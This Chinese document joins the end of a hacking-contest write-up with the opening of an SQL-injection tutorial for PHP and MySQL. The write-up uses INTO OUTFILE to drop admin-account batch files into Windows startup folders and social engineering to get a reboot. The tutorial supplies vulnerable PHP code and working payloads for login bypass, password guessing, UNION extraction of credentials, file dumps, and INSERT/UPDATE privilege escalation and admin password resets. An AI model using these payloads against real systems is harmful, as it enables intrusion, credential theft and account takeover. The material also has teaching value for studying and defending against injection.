然后继续查看,这个 Web 服务器的机器名是 SQL!!?? 郁闷,难道 MySQL 服务器是 WEB ?大胆这样猜想,结果没错。以前不记得哪个鸟人说过 MySQL 功能连 ACCESS 都比不了,这次的功劳最大就是 MySQL 了,不然真的不能拿到我们的文件了。即使能用同样的办法传东西到 119 服务器,也没有办法执行,我们只有采用被动式的攻击方法,写文件到管理员的启动组,因为以前我们试过,只能写一行进去,所以如果我们添加用户并提升权限要启动两次,仅仅重新启动还不行,还要管理员登陆才行。
也只有这条路了,说做就做,还是在论坛后台的数据库升级那里执行,其实在 phpmyadmin 或者 phpspy 都可以执行 SQL 语句,我懒得开其他两个了。
CREATE TABLE shell ( shell TEXT NOT NULL );# 建立 shell 表和一个文本型的 shell 字段
INSERT INTO shell ( shell ) VALUES ('net user small_a 4ngel /add
');# 注意 /add 后面有回车,但是却不能继续再加一行,加了会连在一起。既然能回车却不能加新行,奇怪。哪位大哥可以解释一下?
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\Administrator\\ 「开始」菜单 \\程序\\启动\\add.bat';# 记得给“ \ ”转义
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\All Users\\ 「开始」菜单 \\程序\\启动\\add.bat';# 多添加几个地方。
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\Administrator.WEB\\ 「开始」菜单 \\程序\\启动\\add.bat';# 真的存在这个目录,说明之前我们没有猜错这个机器的名字就是 WEB ,真是够精的,把机器名和相应的服务器互换。
然后我就修改论坛的 config.php 文件的 IP 地址,就对管理员说,论坛的数据库连接不上了,你给重新启动一下,很快,我们用 3389 登陆的时候,就发现提示不允许交互,看来用户是添加了的。只是由于权限不够,不能登陆。再来一次,清空 shell 数据表以后,再执行:
INSERT INTO shell ( shell ) VALUES ('net localgrorp administrators small_a /add
');
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\Administrator\\ 「开始」菜单 \\程序\\启动\\up.bat';
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\All Users\\ 「开始」菜单 \\程序\\启动\\up.bat';
SELECT * FROM shell into outfile 'C:\\Documents and Settings\\Administrator.WEB\\ 「开始」菜单 \\程序\\启动\\up.bat';
再用老办法叫管理员重新启动,结果剑客发觉了我们的企图,叫管理员重新登陆后不要登陆,我靠,我们也不是吃素的对吧?说论坛不能访问叫我们怎么搞啊?哈哈,服务器管理员还是老老实实登陆,等啊等啊,我们终于可以用我们自己添加的用户登陆了,看到了 D 盘下面的三个冠、亚、季军的文件,我们一起拿下吧。刚准备拿,结果 119 服务器的 3389 被我们的对手 D 了,而且还伪造 IP ,这是我们小组的其他队员截获的数据显示的。他们并不是也拿下了 WEB 服务器,而是他们有人跑过来偷看我们的屏幕得知的地址,强烈鄙视这种行为, D 吧 D 吧,不就是 D3389 端口嘛,反正我知道了文件名,现在胜利也离我们不远了。就在快 1 个小时也就是快 11 点的时候,我从容地打开 phpmyadmin ,在 SQL 里执行:
SELECT load_file('d:/金牌专家.txt')# 晕!这个居然显示空!权限不够,继续。
SELECT load_file('d:/银牌专家.txt')# 显示“祝贺,你已经是银牌专家了!”
SELECT load_file('d:/铜牌专家.txt')# 显示“不错不错,你已经是铜牌专家了!”
就这样,其实在 11 点以前我们就拿到了亚军和季军,但是由于对手无耻的偷看行为,导致我们被迫断下 119 服务器的终端。他们一直D ,强烈鄙视这种偷窥行为。剑客也修改了 MYSQL 服务器的 IP ,但没有修正论坛的 IP 信息,我还是无法知道地址,趁吃饭的时候,其中一个队员就用自己写的端口扫描器扫描整个 C 段开了 3306 的主机,结果找到一台,目标就是他,由于之前服务器的 3389 被 D 挂了,我们都是第一次碰到这种情况,主机没挂,服务挂了。结果一直等到 1 点多,剑客才重新启动。我们才顺利的修改了“d:/金牌专家.txt ”这个文件的权限,看到了文件的内容,就顺利拿到了 3 个文件。
整个过程也就完了,技术含量不算高。我觉得重要的是思路和系统的一些常识,特别是 Windows server 2003 和 Apache 这种奇怪的搭配……
个人评论
首先对某些媒体的报道,我觉得有必要澄清一下,四川的《华西都市报》(原文各大新闻网有转载)报道有人控制了网吧内的 100 台电脑,完全是炒作,真相是那人用“网络执法官”那类工具进行 ARP 欺骗,导致外边的大量电脑无法上网,人家在打怪升级呢,怎么能不暴动?
其次还是这篇报道说的“比赛于 10:00 开始,到什么时候结束,谁也不知道,因为今天前来参赛的全是高手,若双方“武功”都到了炉火纯青的地步,往往对战数日,仍是难分高下。”完全属于炒作!
比赛当天根本就没有什么高手,还有人用流光、自动攻击机、冰河这种老古董来玩,实在没办法了就登陆 3389 手工试空口令,本来收到消息 cnhonker 的人会来,谁知道影子都不见一个,据我们掌握的资料,cnhonker 在四川根本没有核心成员。让我们失望而终。
最令我们气愤的是还是这篇报道,说“西南民族大学的马某在比赛结束后告诉记者,他和队友在昨日凌晨 3 点才休息,而且专门为此次比赛而攻击了一家类似于此次比赛服务器的网站,而且成功得手,没有想到,在比赛中却“ 铩羽而归 ”,他坦言,对方 6 名成员分工详细,占了不少便宜,但是最终失利的原因则在于他们准备不充分,而且比赛的时候动作慢了一拍。”
完完全全吹牛、放屁!这个学校居然出这种人品败坏的学生,现在 WEB 服务器和数据库服务器分开的主机很多,但是和 mysql 分开的却很少,而且由于 MYSQL 和 MSSQL 的差异也导致攻击方法不同,如果真如报道所说,成功攻击了类似于此次服务器的网站,试问该学生如何知道此次比赛的网络环境??
更可耻的是居然说比我们慢半拍!我们从开始到结束,一直有人在终端上观察,除了我们,没有任何人登陆这两台服务器的 3389,也没有添加任何系统用户和上传任何文件,根本就是除了我们队员 6 人,其他选手都被服务器完全拒之门外,毫无进展,何来慢半拍?技术不行就是不行,还好意思心口开河?自己学校的网站服务器被放了后门都不知道。我们全体小组成员强烈鄙视这种厚颜无耻的参赛选手!也希望以后再有类似比赛,希望该报社派稍微懂电脑的记者前往。
还有些人说由于带错工具,所以失败了,我想说:工具只是武器,技术才是灵魂。技术和工具是没有直接关系的。
此次比赛后,有不少人称我们为“第四代黑客”,我认为也是不合适的,电子科技大学信息安全所所长范明钰教授说:“今天参加比赛的黑客被称为‘第四代黑客',因为他们所用的工具大多数都是在前几代黑客的研究基础上设计的。当然,也有不少人‘内功'深厚,可以自己编写攻击工具的基础程序,但并没有在此次比赛中过多使用。”
我想说的是:此次比赛,我们比赛过程中用到的 phpspy 是我本人独立开发的,端口扫描器也是其中一个队员自己写出来的,我们的工具都是自己写的,怎么说是用前几代黑客的呢?说我们是第四代黑客更是不敢当!参加这次比赛是挺郁闷的啊。
相关报道
http://www.cdsb.com/GB/2004/11/1/276312.html
http://it.sohu.com/20041101/n222780207.shtml
http://www.cnhubei.com/200410/ca598232.htm
http://www.jiangmin.com/exec/news_sys/news/jiangmin/networksafe/netsafty/200411194933.htm
SQL注入Mysql(图)
声明
本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试。绝对真实。如果有什么遗漏或错误,欢迎来安全天使论坛(http://www.4ngel.net/forums)和我交流。
前言
2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺。权当指点小弟。
关于php+Mysql的注入
国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。
注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。
php+Mysql注入的误区
很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。
为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:
$command = "dir c:\";
system($command);
否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:
①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id
两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。
① 指定变量$id为:
1' and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1
看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。
简单的例子
先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。
我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
验证用户文件的代码如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo))
{
echo "登陆失败";
} else {
echo "登陆成功";
}
echo "<p>SQL Query:$sql<p>";
?>
这时我们提交:
http://127.0.0.1/injection/user.php?username=angel' or 1=1
就会返回:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:
http://127.0.0.1/injection/user.php?username=angel' or '1=1
这时显示“登陆成功”,说明成功了。或者提交:
http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23
这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。
通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?
语句构造
PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。
一、搜索引擎
网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。
查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:
<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
</form>
<p><b>Search result</b></p>
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$keywords = $_GET['keywords'];
if (!empty($keywords)) {
//$keywords = addslashes($keywords);
//$keywords = str_replace("_","\_",$keywords);
//$keywords = str_replace("%","\%",$keywords);
$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
$result = mysql_db_query($dbname,$sql);
$tatol=mysql_num_rows($result);
echo "<p>SQL Query:$sql<p>";
if ($tatol <=0){
echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n";
} else {
while ($article=mysql_fetch_array($result)) {
echo "<li>".htmlspecialchars($article[title])."<p>\n";
} //while
}
} else {
echo "<b>Please enter some keywords.</b><p>\n";
}
?>
一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
SQL语句就被改变成下面的样子了,
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC
就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?
二、查询字段
查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:
① 本表查询
看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
echo "该记录不存在";
echo "<p>SQL Query:$sql<p>";
exit;
}
echo "你要查询的用户ID是:$row[userid]\n";
echo "<p>SQL Query:$sql<p>";
?>
当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'
相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,
看了上面的例子,应该知道构造了吧,如果我们提交:
http://127.0.0.1/injection/user.php?username=angel' and password='mypass
这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:
SELECT * FROM user WHERE username='angel' AND password='mypass'
但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、RIGHT()、MID()函数猜密码:
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass
看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。
② 跨表查询
这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段,如下图:
看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……
如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……
否则就会报错:
The used SELECT statements have a different number of columns
如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于int\str\var类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
我们看看下面的数据结构,是一个简单的文章数据表。
CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default '',
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `article`
#
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!');
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用“SELECT *”,如果有任何一个不一样,那我们只能用“SELECT 1,1,1,1……”了。
下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row)
{
echo "该记录不存在";
echo "<p>SQL Query:$sql<p>";
exit;
}
echo "title<br>".$row[title]."<p>\n";
echo "content<br>".$row[content]."<p>\n";
echo "<p>SQL Query:$sql<p>";
?>
正常情况下,我们提交这样的一个请求:
http://127.0.0.1/injection/show.php?id=1
就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表,现在是查询刚才我们建立的user表。
由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……
由于这个代码是有单引号包含着变量的,我们现在提交:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?如图:
其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/*
如图:
现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。
三、导出文件
这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:
select * from table into outfile 'c:/file.txt'
select * from table into outfile '/var/www/file.txt'
但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:
必须导出到能访问的目录,这样才能下载。
能访问的目录必须要有可写的权限,否则导出会失败。
确保硬盘有足够的容量能容下导出的数据,这个很少见。
确保要已经存在相同的文件名,会导致导出失败,并提示:“File 'c:/file.txt' already exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。
我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'
知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:

由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
实际的SQL语句变为:
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'
这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
既然条件满足,在这种情况下就直接导出所有数据!如图:
但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt'
这样可以导出文件了,如果我们要构造就提交:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt
文件是出来了,可是有一个问题,由于前面的查询articleid='1'为真了,所以导出的数据也有整个文章的一部分,如图:

所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
这样才能得到我们想要的资料:
值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。
INSERT
如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:
CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `userid` )
);
其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:
http://4ngel.net', '3’)#
插入数据库的时候就变成:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。
UPDATE
和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:
http://4ngel.net', userlevel='3
整个SQL语句就变成这样:
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:
mypass)' WHERE username='admin'#
这时整个语句变为:
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:
' OR username='admin'
这时整个语句变为:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION['username']来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。
高级应用
1、 使用MYSQL内置函数
我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,这些东西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……
各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:
UPDATE article SET title=$title WHERE articleid=1
我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:
UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段
灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前数据库等,比如前面跨表查询的例子,提交:
http://127.0.0.1/injection/show.php?id=1
可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION,同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
就可以返回当前数据库名和数据库版本,构造是比较容易的。
下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。
#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:\>test.pl c:\boot.ini
#99,58,92,98,111,111,116,46,105,110,105
$ARGC = @ARGV;
if ($ARGC != 1) {
print "Usage: $0 \n";
exit(1);
}
$path=shift;
@char = unpack('C*', $path);
$asc=join(",",@char);
print $asc;
2、不加单引号注入
注:现在我们假设magic_quotes_gpc为on了。
众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:
SELECT * FROM user WHERE username='angel'
如何使$username不带引号呢?很简单我们这样提交就可以了。
SELECT * FROM user WHERE username=char(97,110,103,101,108)
